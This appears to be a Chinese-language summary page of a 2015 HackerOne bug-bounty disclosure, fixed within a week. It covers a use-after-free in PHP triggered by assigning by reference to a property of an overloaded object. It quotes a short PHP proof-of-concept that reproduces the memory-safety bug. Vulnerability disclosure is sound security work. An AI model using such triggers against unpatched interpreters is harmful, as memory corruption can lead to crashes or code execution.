Use after free with assign by ref to overloaded objects
该报告还没有中文解读。
原文摘录
摘自原文(780 字符中的一小部分)
Reported: 2015-07-15 16:30 UTC Fixed: 2015-07-21 14:20 UTC
原文中的代码
<?php
class wpq {
private $unrenced;
public function __get($name) {
return $this;
}
}
function ret_assoc() {
return array('Roo' => 'bar');
}
$wpq = new wpq;
$wpq->interesting =& ret_assoc();
$x +@$wpq->interesting;
printf("%s\n", $x);默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @geeknik · 版权归作者与 Internet Bug Bounty 所有